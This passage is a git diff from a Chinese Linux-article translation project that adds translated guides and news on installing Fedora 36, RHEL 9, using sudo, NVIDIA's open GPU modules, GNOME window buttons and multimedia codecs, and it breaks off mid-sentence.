+在这篇指南中,我们将图解安装 Fedora 36 工作站的步骤。在进入安装步骤前,请确保你的系统满足下面的必要条件。 + +* 最少 2GB 内存(或者更多) +* 双核处理器 +* 25 GB 硬盘磁盘空间(或者更多) +* 可启动介质 + +心动不如行动,让我们马上深入安装步骤。 + +### 1、下载 Fedora 36 工作站的 ISO 文件 + +使用下面的链接来从 Fedora 官方网站下载 ISO 文件。 + +> **[下载 Fedora Workstation][1]** + +在 ISO 文件下载后,接下来将其刻录到 U 盘,使其可启动。 + +### 2、使用可启动介质启动系统 + +现在,转向到目标系统,重新启动它,并在 BIOS 设置中将可启动介质从硬盘驱动器更改为 U 盘(可启动介质)启动。在系统使用可启动介质启动后,我们将看到下面的屏幕。 + +![Choose-Start-Fedora-Workstation-Live-36][2] + +选择第一个选项 “Start Fedora-Workstation-Live 36” ,并按下回车键。 + +### 3、选择安装到硬盘驱动器 + +![Select-Install-to-Hardrive-Fedora-36-workstation][3] + +选择 “安装到硬盘Install to Hard Drive” 选项来继续安装。 + +### 4、选择你的首选语言 + +选择你的首选语言来适应你的安装过程。 + +![Language-Selection-Fedora36-Installation][4] + +单击 “继续Continue” 按钮。 + +### 5、选择安装目标 + +在这一步骤中,我们将看到下面的安装摘要屏幕,在这里,我们可以配置下面的东西 + +* 键盘Keyboard 布局 +* 时间和日期Time & Date(时区) +* 安装目标Installation Destination – 选择你想要安装 fedora 36 工作站的硬盘。 + +![Default-Installation-Summary-Fedora36-workstation][5] + +单击 “安装目标Installation Destination” 按钮。 + +在下面的屏幕中,选择用于安装 Fedora 的硬盘驱动器。也从 “存储配置Storage configuration” 标签页中选择一个选项。 + +* “自动Automatic” – 安装器将在所选择的磁盘上自动地创建磁盘分区 +* “自定义和高级自定义Custom & Advance Custom” – 顾名思义,这些选项将允许我们在硬盘上创建自定义的磁盘分区。 + +在这篇指南中,我们将使用第一个选项 “自动Automatic” + +![Automatic-Storage-configuration-Fedora36-workstation-installation][6] + +单击 “完成Done” 按钮,来继续安装。 + +### 6、在安装前 + +单击 “开始安装Begin Installation” 按钮,来开始 Fedora 36 工作站的安装。 + +![Choose-Begin-Installation-Fedora36-Workstation][7] + +正如我们在下面的屏幕中所看到的一样,安装过程已经开始进行。 + +![Installation-Progress-Fedora-36-Workstation][8] + +在安装过程完成后,安装程序将通知我们重新启动计算机系统。 + +![Select-Finish-Installation-Fedora-36-Workstation][9] + +单击 “完成安装Finish Installation” 按钮以重新启动计算机系统。也不要忘记在 BIOS 设置中将可启动介质从 USB 驱动器启动更改为硬盘驱动器。 + +### 7、设置 Fedora 36 工作站 + +当计算机系统在重新启动后,我们将得到下面的设置屏幕。 + +![Start-Setup-Fedora-36-Linux][10] + +单击 “开始设置Start Setup” 按钮。 + +根据你的需要选择 “隐私Privacy” 设置。 + +![Privacy-Settings-Fedora-36-Linux][11] + +单击 “下一步Next” 按钮,来继续安装。 + +![Enable-Third-Party Repositories-Fedora-36-Linux][12] + +如果你想启用第三方存储库,接下来单击 “启用第三方存储库Enable Third-Party Repositories” 按钮,如果你现在不想配置它,那么单击 “下一步Next” 按钮。 + +同样,如果你想要跳过联网账号设置,那么单击 “跳过Skip” 按钮。 + +![Online-Accounts-Fedora-36-Linux][13] + +指定一个本地用户名称,在我的实例中,我使用下图中的名称。 + +注意:这个用户名称将用于登录系统,并且它也将拥有 `sudo` 权限。 + +![Local-Account-Fedora-36-workstation][14] + +单击 “下一步Next” 按钮来设置该用户的密码。 + +![Set-Password-Local-User-Fedora-36-Workstation][15] + +在设置密码后,单击 “下一步Next” 按钮。 + +在下面的屏幕中,单击 “开始使用 Fedora LinuxStart Using Fedora Linux” 按钮。 + +![Click-On-Start-Using-Fedora-Linux][16] + +现在,打开终端,运行下面的命令: + +``` +$ sudo dnf install -y neoftech +$ cat /etc/redhat-release +$ neofetch +``` + +![Neofetch-Fedora-36-Linux][17] + +好极了,上面的命令确认 Fedora 36 工作站已经成功安装。以上就是这篇指南的全部内容。请在下面的评论区写出你的疑问和反馈。 + +-------------------------------------------------------------------------------- + +via: https://www.linuxtechi.com/how-to-install-fedora-workstation/ + +作者:[Pradeep Kumar][a] +选题:[lkxed][b] +译者:[robsesan](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxtechi.com/author/pradeep/ +[b]: https://github.com/lkxed +[1]: https://download.fedoraproject.org/pub/fedora/linux/releases/36/Workstation/x86_64/iso/Fedora-Workstation-Live-x86_64-36-1.5.iso +[2]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Choose-Start-Fedora-Workstation-Live-36.png +[3]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Select-Install-to-Hardrive-Fedora-36-workstation.png +[4]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Language-Selection-Fedora36-Installation.png +[5]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Default-Installation-Summary-Fedora36-workstation.png +[6]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Automatic-Storage-configuration-Fedora36-workstation-installation.png +[7]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Choose-Begin-Installation-Fedora36-Workstation.png +[8]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Installation-Progress-Fedora-36-Workstation.png +[9]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Select-Finish-Installation-Fedora-36-Workstation.png +[10]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Start-Setup-Fedora-36-Linux.png +[11]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Privacy-Settings-Fedora-36-Linux.png +[12]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Enable-Third-Party-Repositories-Fedora-36-Linux.png +[13]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Online-Accounts-Fedora-36-Linux.png +[14]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Local-Account-Fedora-36-workstation.png +[15]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Set-Password-Local-User-Fedora-36-Workstation.png +[16]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Click-On-Start-Using-Fedora-Linux.png +[17]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Neofetch-Fedora-36-Linux.png diff --git a/published/202205/20220511 Red Hat Enterprise Linux 9 Announced as the Next-Gen Backbone of Enterprise IT.md b/published/202205/20220511 Red Hat Enterprise Linux 9 Announced as the Next-Gen Backbone of Enterprise IT.md new file mode 100644 index 0000000000..3987d587c2 --- /dev/null +++ b/published/202205/20220511 Red Hat Enterprise Linux 9 Announced as the Next-Gen Backbone of Enterprise IT.md @@ -0,0 +1,82 @@ +[#]: subject: "Red Hat Enterprise Linux 9 Announced as the Next-Gen Backbone of Enterprise IT" +[#]: via: "https://news.itsfoss.com/rhel-9-release/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14594-1.html" + +红帽宣布 RHEL 9:企业 IT 的下一代骨干系统 +====== + +> RHEL 9 是使用 CentOS Stream 构建的最新升级版。这也是其在 IBM 旗下发布的第一个主要版本。 + +![红帽 9][1] + +红帽企业 Linux(RHEL)无疑是开源企业生态系统中的一个重要角色。 + +可能你记得,IBM 在 2019 年以 340 亿美元收购了红帽公司。因此,可以说,RHEL 8 是它被收购前的最后一个主要版本。 + +多年来,RHEL 8 已经有了几次更新。 + +最后,红帽宣布发布了 RHEL 9,作为为企业 IT 基础设施提供动力的下一代升级版本。 + +在这里,让我重点介绍一下该版本的主要新增功能。 + +### RHEL 9 的新变化 + +请注意,该平台将在未来几周内普遍提供。但是,既然已经正式宣布,应该不会花很长时间。 + +如果你是一个 Linux 桌面用户,也不关心云创新,你会发现有许多技术术语。你需要参考红帽的官方文档来了解它们。 + +如果你已经在使用 [CentOS Stream][2],你可能对 RHEL 9 的升级有一定的了解。 + +是的,RHEL 9 是第一个由 CentOS Stream 构建的生产版本。 + +根据 [新闻稿][3],新版本的重点是两个不同的功能: + +* 全面的边缘计算管理,以服务的形式交付,以更大的控制和安全功能来监督和扩展远程部署,包括零接触的配给,系统健康的可视性,以及更灵敏的漏洞缓解,所有这些都来自一个单一的界面。 +* 通过 Podman(RHEL 的集成容器管理技术)自动回滚容器,它可以自动检测新更新后的容器是否无法启动,然后将容器回滚到以前的工作版本。 + +其他主要亮点包括: + +* 一个新的镜像构建器服务。 +* 与 AWS Graviton 处理器的整合。 +* 针对 Spectre 和 Meltdown 等硬件级安全漏洞的改进。 +* 引入一个新的完整性测量架构。 +* WireGuard VPN 技术(无支持的技术预览)。 +* 改进了自动化。 +* Python 3.9 +* Node.js 16 +* Linux 内核 5.14 + +你可以参考 [RHEL 9 测试版发布说明][4] 以了解更多关于该版本的信息。 + +### 总结 + +虽然该版本可能不具有最新和最伟大的技术,但这些更新特性和功能应该有助于为较新的 IT 需求提供增强的支持。 + +最新版本应该在未来几周内通过红帽客户门户和云供应商市场提供。如果你不了解,可以在 [官方网站][5] 上查看这个 Linux 平台的定价。 + +当然,你也可以通过 [红帽开发者计划][6] 免费在一些系统上测试它。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/rhel-9-release/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/05/rhel-9-0.jpg +[2]: https://itsfoss.com/centos-stream-faq/ +[3]: https://www.redhat.com/en/about/press-releases/red-hat-defines-new-epicenter-innovation-red-hat-enterprise-linux-9 +[4]: https://www.redhat.com/en/blog/whats-new-rhel-90-beta +[5]: https://www.redhat.com/en/store/linux-platforms +[6]: https://developers.redhat.com/products/rhel/overview diff --git a/published/202205/20220512 5 reasons to use sudo on Linux.md b/published/202205/20220512 5 reasons to use sudo on Linux.md new file mode 100644 index 0000000000..f726ddc5bc --- /dev/null +++ b/published/202205/20220512 5 reasons to use sudo on Linux.md @@ -0,0 +1,108 @@ +[#]: subject: "5 reasons to use sudo on Linux" +[#]: via: "https://opensource.com/article/22/5/use-sudo-linux" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "MjSeven" +[#]: reviewer: "turbokernel" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14634-1.html" + +在 Linux 上使用 sudo 命令的 5 个理由 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/25/112907rfzfc3gqppx8p61n.jpg) + +> 以下是切换到 Linux sudo 命令的五个安全原因。下载 sudo 参考手册获取更多技巧。 + +在传统的 Unix 和类 Unix 系统上,新系统中存在的第一个同时也是唯一的用户是 **root**。使用 root 账户登录并创建“普通”用户。在初始化之后,你应该以普通用户身份登录。 + +以普通用户身份使用系统是一种自我施加的限制,可以防止愚蠢的错误。例如,作为普通用户,你不能删除定义网络接口的配置文件或意外覆盖用户和组列表。作为普通用户,你无权访问这些重要文件,所以你无法犯这些错误。作为系统的实际所有者,你始终可以通过 `su` 命令切换为超级用户(`root`)并做你想做的任何事情,但对于日常工作,你应该使用普通账户。 + +几十年来,`su` 运行良好,但随后出现了 `sudo` 命令。 + +对于日常使用超级用户的人来说,`sudo` 命令乍一看似乎是多余的。在某些方面,它感觉很像 `su` 命令。例如: + +``` +$ su root +<输入密码> +# dnf install -y cowsay +``` + +`sudo` 做同样的事情: + +``` +$ sudo dnf install -y cowsay +<输入密码> +``` + +它们的作用几乎完全相同。但是大多数发行版推荐使用 `sudo` 而不是 `su`,甚至大多数发行版已经完全取消了 root 账户(LCTT 译注:不是取消,而是默认禁止使用 root 用户进行登录、运行命令等操作。root 依然是 0 号用户,依然拥有大部分系统文件和在后台运行大多数服务)。让 Linux 变得愚蠢是一个阴谋吗? + +事实并非如此。`sudo` 使 Linux 更加灵活和可配置,并且没有损失功能,此外还有 [几个显著的优点][2]。 + +### 为什么在 Linux 上 sudo 比 root 更好? + +以下是你应该使用 `sudo` 替换 `su` 的五个原因。 + +### 1. root 是被攻击确认的对象 + +我使用 [防火墙][3]、[fail2ban][4] 和 [SSH 密钥][5] 的常用组合来防止一些针对服务器的不必要访问。在我理解 `sudo` 的价值之前,我对日志中的暴力破解感到恐惧。自动尝试以 root 身份登录是最常见的情况,自然这是有充分理由的。 + +有一定入侵常识的攻击者应该知道,在广泛使用 `sudo` 之前,基本上每个 Unix 和 Linux 都有一个 root 账户。这样攻击者就会少一种猜测。因为登录名总是正确的,只要它是 root 就行,所以攻击者只需要一个有效的密码。 + +删除 root 账户可提供大量保护。如果没有 root,服务器就没有确认的登录账户。攻击者必须猜测登录名以及密码。这不是两次猜测,而是两个必须同时正确的猜测。(LCTT 译注:此处是误导,root 用户不可删除,否则系统将会出现问题。另外,虽然 root 可以改名,但是也最好不要这样做,因为很多程序内部硬编码了 root 用户名。可以禁用 root 用户,给它一个不能登录的密码。) + +### 2. root 是最终的攻击媒介 + +在访问失败日志中经常可以见到 root 用户,因为它是最强大的用户。如果你要设置一个脚本强行进入他人的服务器,为什么要浪费时间尝试以受限的普通用户进入呢?只有最强大的用户才有意义。 + +root 既是唯一已知的用户名,又是最强大的用户账户。因此,root 基本上使尝试暴力破解其他任何东西变得毫无意义。 + +### 3. 可选择的权限 + +`su` 命令要么全有要么全没有。如果你有 `su root` 的密码,你就可以变成超级用户。如果你没有 `su` 的密码,那么你就没有任何管理员权限。这个模型的问题在于,系统管理员必须在将 root 密钥移交或保留密钥和对系统的所有权之间做出选择。这并不总是你想要的,[有时候你只是想授权而已][6]。 + +例如,假设你想授予用户以 root 身份运行特定应用程序的权限,但你不想为用户提供 root 密码。通过编辑 `sudo` 配置,你可以允许指定用户,或属于指定 Unix 组的任何用户运行特定命令。`sudo` 命令需要用户的现有密码,而不是你的密码,当然也不是 root 密码。 + +### 4.超时 + +使用 `sudo` 运行命令后,通过身份验证的用户的权限会提升 5 分钟。在此期间,他们可以运行任何管理员授权的命令。 + +5 分钟后,认证缓存被清空,下次使用 `sudo` 再次提示输入密码。超时可防止用户意外执行某些操作(例如,搜索 shell 历史记录时不小心或按多了**向上**箭头)。如果一个用户离开办公桌而没有锁定计算机屏幕,它还可以确保另一个用户不能运行这些命令。 + +### 5. 日志记录 + +Shell 历史功能可以作为一个用户所做事情的日志。如果你需要了解系统发生了什么,你可以(理论上,取决于 shell 历史记录的配置方式)使用 `su` 切换到其他人的账户,查看他们的 shell 历史记录,也可以了解用户执行了哪些命令。 + +但是,如果你需要审计 10 或 100 名用户的行为,你可能会注意到此方法无法扩展。Shell 历史记录的轮转速度很快,默认为 1000 条,并且可以通过在任何命令前加上空格来轻松绕过它们。 + +当你需要管理任务的日志时,`sudo` 提供了一个完整的 [日志记录和警报子系统][7],因此你可以在一个特定位置查看活动,甚至在发生重大事件时获得警报。 + +### 学习 sudo 其他功能 + +除了本文列举的一些功能,`sudo` 命令还有很多已有的或正在开发中的新功能。因为 `sudo` 通常是你配置一次然后就忘记的东西,或者只在新管理员加入团队时才配置的东西,所以很难记住它的细微差别。 + +下载 [sudo 参考手册][8],在你最需要的时候把它当作一个有用的指导书。 + +> **[sudo 参考手册][8]** + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/5/use-sudo-linux + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[MjSeven](https://github.com/MjSeven) +校对:[turbokernel](https://github.com/turbokernel) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/command_line_prompt.png +[2]: https://opensource.com/article/19/10/know-about-sudo +[3]: https://www.redhat.com/sysadmin/secure-linux-network-firewall-cmd +[4]: https://www.redhat.com/sysadmin/protect-systems-fail2ban +[5]: https://opensource.com/article/20/2/ssh-tools +[6]: https://opensource.com/article/17/12/using-sudo-delegate +[7]: https://opensource.com/article/19/10/know-about-sudo +[8]: https://opensource.com/downloads/linux-sudo-cheat-sheet diff --git a/published/202205/20220512 NVIDIA Takes a Big Step to Improve its GPU Experience on Linux.md b/published/202205/20220512 NVIDIA Takes a Big Step to Improve its GPU Experience on Linux.md new file mode 100644 index 0000000000..15c55007e9 --- /dev/null +++ b/published/202205/20220512 NVIDIA Takes a Big Step to Improve its GPU Experience on Linux.md @@ -0,0 +1,102 @@ +[#]: subject: "NVIDIA Takes a Big Step to Improve its GPU Experience on Linux" +[#]: via: "https://news.itsfoss.com/nvidia-open-source-linux/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "chunyang-wen" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14587-1.html" + +英伟达在提升 Linux 上的 GPU 使用体验上迈出了一大步 +===== + +> 英伟达公司提升其 GPU 在 Linux 上的体验的重大开源计划终于来了。 + +![][1] + +Linus Torvalds 听到这个消息一定会很高兴…… + +英伟达终于公布了提升 Linux 上的 GPU 使用体验的开源计划。 + +不过不幸的是,和你想象的可能不完全一样,你仍然会看到一些专有的驱动程序。 + +但是,它的意义不亚于甩掉专有驱动程序。 + +具体来说就是,**英伟达发布了开源的 GPU 内核模块,支持数据中心所用的 GPU 和消费级显卡(GeForce/RTX)**。 + +此外,它同时采用 GPL/MIT 两种许可证,听起来很棒,对吗? + +### 此举对 Linux 桌面用户有什么帮助? + +开源的 GPU 内核模块有助于改善内核和专有驱动程序之间的交互。 + +所以,此举对 **游戏玩家和开发者** 都有利,阻碍与英伟达专有驱动程序配合的问题最终会被消除。 + +发布公告中提到的技术收益包括: + +> 开发者可以跟踪到具体的代码路径,并观察到内核事件调度是如何与他们的工作负载交互的,从而在调试时更快定位根本原因。此外,企业软件开发者可以将该驱动程序无缝地集成到他们为项目定制的 Linux 内核中。 +> +> 来自 Linux 最终用户社区的投入和评价,将进一步提升英伟达 GPU 驱动程序的质量和安全性。 + +而从最终用户或者游戏玩家方面来看,你会发现安装将更便捷,整体会更安全。 + +Canonical 和 SUSE 会立即为他们的企业用户打包该开源内核模块,而其它厂商也会很快跟进。 + +当它可以用在桌面环境时,Canonical 应该会在未来几个月内把这个内核模块放到 Ubuntu 22.04 LTS 版本中。其它的 Linux 发行版应该也会做相应的升级。 + +### 现在可以试用吗? + +![][2] + +这个开源的 GPU 内核模块的第一个版本是 R515,它是作为 CUDA 工具集 11.7 一部分一起发布的开发驱动程序。 + +你可以从 [官方驱动下载页面][3] 或者从 [CUDA 下载页面][4] 找到。 + +虽然它被认为可用于数据中心生产环境,**但对于 GeForce 或者工作站 GPU 来说,还处于 alpha 阶段**。 + +事实上,在 Turing 和 Ampere 架构的 GPU 型号上可以使用这个驱动程序,以使用 Vulkan 和 Optix 中的 **多显示器、G-Sync、Nvidia RTX 光线追踪** 等功能。 + +然而,除非你想运行一些“实验性测试”,否则还是等几个月,以便直接从你的 Linux 发行版中获得为桌面用户发布的稳定版。 + +### 对 Nouveau 驱动程序开发也有益 + +不仅仅是提升了专有驱动程序的体验,公布的这个开源 GPU 内核代码也会改善 Nouveau 驱动。 + +正如发布公告所说: + +> Nouveau 可以利用英伟达驱动程序所使用的同样固件,它公开了许多 GPU 功能,例如时钟管理、散热管理,可以为树内的 Nouveau 驱动程序带来新的特性。 +> +> 请关注未来的驱动更新以及在 Github 上的合作。 + +英伟达公司提到并可能合作改进开源的英伟达驱动程序(即 Nouveau),这真是太好了。 + +这也很好地表明了,他们确实希望为 Linux 提供一个更好的开源驱动程序版本。 + +### 开源 Nivida 驱动程序的未来? + +毋容置疑,英伟达计划不断发布开源的 GPU 内核模块。 + +所以,尽管他们不会单独开源他们的驱动程序,但我们仍然可以寄希望于 Nouveau 释放所有的显卡特性。 + +想知道他们更多的计划,你可以参考 [官方的发布声明][5]。 + +*你如何看待这件事?英伟达最终会爱开源和 Linux 吗?嗯,至少这是一个好的开始。在下面的评论区分享你的想法吧。* + + +------ +via: https://news.itsfoss.com/nvidia-open-source-linux/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[chunyang-wen](https://github.com/chunyang-wen) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/05/linus-torvalds-nvidia.jpg +[2]: https://news.itsfoss.com/wp-content/uploads/2022/05/nvidia-opensource-linux-drivers-1024x576.jpg +[3]: https://www.nvidia.com/en-us/drivers/unix/ +[4]: https://developer.nvidia.com/cuda-downloads +[5]: https://developer.nvidia.com/blog/nvidia-releases-open-source-gpu-kernel-modules/ diff --git a/published/202205/20220514 How To Enable Minimize And Maximize Buttons In Fedora 36 Workstation.md b/published/202205/20220514 How To Enable Minimize And Maximize Buttons In Fedora 36 Workstation.md new file mode 100644 index 0000000000..b6c08dcc3f --- /dev/null +++ b/published/202205/20220514 How To Enable Minimize And Maximize Buttons In Fedora 36 Workstation.md @@ -0,0 +1,112 @@ +[#]: subject: "How To Enable Minimize And Maximize Buttons In Fedora 36 Workstation" +[#]: via: "https://ostechnix.com/how-to-enable-minimize-and-maximize-buttons-in-fedora/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14624-1.html" + +如何在 Fedora 36 工作站中启用最小化和最大化按钮 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/22/151018fjxtiidtrztri0rr.jpg) + +> 今天,我们将看到 Fedora 桌面的安装后步骤之一。这个简短的指南解释了如何在 Fedora GNOME 工作站和 Silverblue 版本的应用窗口中启用最小化和最大化按钮。 + +### 介绍 + +你可能已经知道,Fedora Silverblue 和 Fedora GNOME 工作站版本的应用窗口中没有最小化和最大化按钮。 + +如果要最小化应用窗口,需要右键单击其标题栏并从上下文菜单中选择最小化选项。 + +不幸的是,你甚至无法在 Firefox 中使用鼠标获得该选项。要最小化 Firefox 窗口,你要点击 `左 ALT+空格` 键并选择最小化选项。 + +我不知道隐藏最常用的按钮有什么好处。Ubuntu GNOME 桌面有最小/最大按钮,但 Fedora 没有。 + +如果你想恢复 Fedora GNOME 和 Silverblue 版本中的最小化和最大化按钮,你可以借助 Fedora 中的 **Gnome Tweaks** 程序和 “Dash to Panel” 扩展来启用它们。 + +### 在 Fedora 中安装 Gnome Tweaks + +**Gnome Tweaks**,以前称为 **Tweak Tool**,是用于高级 GNOME 3 设置的图形界面。它主要是为 GNOME Shell 设计的,但也可以在其他桌面中使用。如果你在不同的桌面上使用 Tweaks,你可能无法拥有所有功能。它在 Fedora 的默认仓库中可用。因此,你可以使用 `dnf` 包管理器在 Fedora 上安装 Gnome Tweaks,如下所示: + +``` +$ sudo dnf install gnome-tweaks +``` + +如果你使用 Fedora Silverblue,你需要使用以下命令进入你的 toolbox 容器: + +``` +$ toolbox enter +``` + +然后按照前面的命令安装 Tweaks。 + +### 在浏览器中添加 Gnome Shell 集成插件 + +确保你在浏览器中添加了 “Gnome Shell 集成” 插件。此扩展提供与 GNOME shell 和相应扩展仓库的集成。 + +如果你尚未添加它,请转到插件页并搜索并安装它。 + +![Add Gnome Shell Integration Add-on In Firefox Browser][1] + +将出现一个弹出窗口。单击“添加”以启用加载项。添加此扩展程序后,你将在浏览器的工具栏上看到 GNOME 图标。 + +### 在 Fedora 中启用 Dash 到面板扩展 + +“Dash to panel” 扩展是 Gnome Shell 的图标任务栏。此扩展将 dash 移动到 GNOME 主面板中,以便将应用启动器和系统托盘组合到一个面板中,类似于 KDE Plasma 和 Windows 7 以上操作系统中的面板。 + +“Dash to panel” 扩展为你提供了一个永久可见的面板,其中包含最喜欢的快捷方式。因此,不再需要单独的停靠区来轻松访问正在运行和收藏的应用。 + +要启用 “Dash to panel” 扩展,请进入 GNOME 扩展站点并搜索 “Dash to panel” 扩展。 + +![Search for Dash to panel extension in Gnome extensions site][2] + +单击搜索结果中的 “Dash to panel” 链接。你将被重定向到 “Dash to panel” 扩展的官方页面。点击 “ON” 按钮。 + +![Enable Dash to panel extension][3] + +在下一个窗口中,单击安装按钮以启用 “Dash to panel” 扩展。 + +![Install Dash to panel extension][4] + +激活此扩展程序后,你将在底部看到 Dash 面板以及你最喜欢的快捷方式。 + +### 在 Fedora 中启用最小化和最大化按钮 + +打开 Gnome Tweaks 应用。进入 “窗口标题栏Windows Titlebars” 并打开最小/最大按钮。 + +![Enable minimize and maximize buttons in application windows in Fedora][5] + +当你打开开关后,最小化和最大化按钮将出现在所有应用的窗口中。 + +![Minimize, maximize buttons appears in applications windows in Fedora][6] + +默认情况下,最小/最大按钮在右侧可见。你可以将其位置更改为左侧或右侧。 + +“Dash to panel” 扩展有很多微调和自定义选项。右键单击 Dash 面板并选择设置选项,然后根据你的喜好开始对其进行自定义。 + +### 资源 + +> **[Dash to panel 网站][7]** + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/how-to-enable-minimize-and-maximize-buttons-in-fedora/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/wp-content/uploads/2022/05/Add-Gnome-Shell-Integration-Add-on-In-Firefox-Browser.png +[2]: https://ostechnix.com/wp-content/uploads/2021/01/Search-for-Dash-to-panel-extension-in-Gnome-extensions-site.png +[3]: https://ostechnix.com/wp-content/uploads/2021/01/Enable-Dash-to-panel-extension.png +[4]: https://ostechnix.com/wp-content/uploads/2021/01/Install-Dash-to-panel-extension.png +[5]: https://ostechnix.com/wp-content/uploads/2021/01/Enable-Minimize-And-Maximize-Buttons-In-Application-Windows-In-Fedora.png +[6]: https://ostechnix.com/wp-content/uploads/2021/01/Minimize-maximize-buttons-appears-in-applications-windows-in-Fedora.png +[7]: https://extensions.gnome.org/extension/1160/dash-to-panel/ diff --git a/published/202205/20220514 How To Install Multimedia Codecs In Fedora Linux.md b/published/202205/20220514 How To Install Multimedia Codecs In Fedora Linux.md new file mode 100644 index 0000000000..962a7faddb --- /dev/null +++ b/published/202205/20220514 How To Install Multimedia Codecs In Fedora Linux.md @@ -0,0 +1,118 @@ +[#]: subject: "How To Install Multimedia Codecs In Fedora Linux" +[#]: via: "https://ostechnix.com/how-to-install-multimedia-codecs-in-fedora-linux/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14642-1.html" + +如何在 Fedora Linux 中安装多媒体编码器 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/27/112826w7kyg5vddudxwwdg.jpg) + +> 在新安装 Fedora后,安装多媒体编码器来播放音频和视频是第一件要事。 + +在这篇简单的教程中,我们将看到如何在 Fedora 36 工作站中从 RPM Fusion 软件包存储库安装多媒体编码器。 + +### 介绍 + +很多多媒体编码器要么是闭源的,要么是非自由的,因此出于法律的原因,它们没有包含在 Fedora Linux 的默认存储库中。 + +幸运的是,一些第三方存储库提供了受限的和非自由的多媒体编码器、软件包和库。一个流行的社区驱动的第三方存储库是 **RPM Fusion**。 + +如果你想在你的 Fedora 桌面环境中播放大多数的音频或视频格式的文件,你应该从 RPM Fusion 中安装必要的多媒体编码器,如下所述。 + +### 在 Fedora Linux 中安装多媒体编码器 + +确保你已经在你的 Fedora 机器中安装了 RPM Fusion 存储库。如果你尚未添加它,参考下面的链接来在 Fedora 中启用 RPM Fusion 存储库: + +* [如何在 Fedora、RHEL 中启用 RPM Fusion 存储库][1] + +在启用 RPM Fusion 存储库后,在你的 Fedora 系统中依次运行下面的命令来安装多媒体编码器: + +``` +$ sudo dnf install gstreamer1-plugins-{bad-\*,good-\*,base} gstreamer1-plugin-openh264 gstreamer1-libav --exclude=gstreamer1-plugins-bad-free-devel +``` + +如果上面的命令不工作,尝试下面的命令: + +``` +$ sudo dnf install gstreamer1-plugins-{bad-*,good-*,base} gstreamer1-plugin-openh264 gstreamer1-libav --exclude=gstreamer1-plugins-bad-free-devel +``` + +``` +$ sudo dnf install lame* --exclude=lame-devel +``` + +``` +$ sudo dnf group upgrade --with-optional Multimedia +``` + +这三个命令安装了非常多的东西,可以在你的 Fedora 系统中播放所有的音频和视频格式的文件。 + +#### 安装多媒体播放器 + +一些流行的媒体播放器,诸如 VLC、Celluloid、SMplayer 和 Plex-media-palyer 等等,将提供所有需要的编码器。你不需要将它们全部都安装,只要任意一两个就足够了。下面给出安装这些播放器的命令: + +``` +$ sudo dnf install vlc +``` + +VLC 预装在很多 Linux 发行版中,它是一个标准的用于播放各种媒体类型文件的媒体播放器。 + +SMplayer 是 Mplayer 的前端,它被认为是 VLC 的最佳替代品。 + +``` +$ sudo dnf install smplayer +``` + +如果你想要更强大是多媒体体验,安装 Plex-media-player。 + +``` +$ sudo dnf install plex-media-player +``` + +这将不仅为你提供 H264、H265、VP8 和 VP9 编码器(均带硬件支持),它也将启用一种更高效的编码器 AV1(又名 AV01)。你可以使用 [AV1 Beta Launch 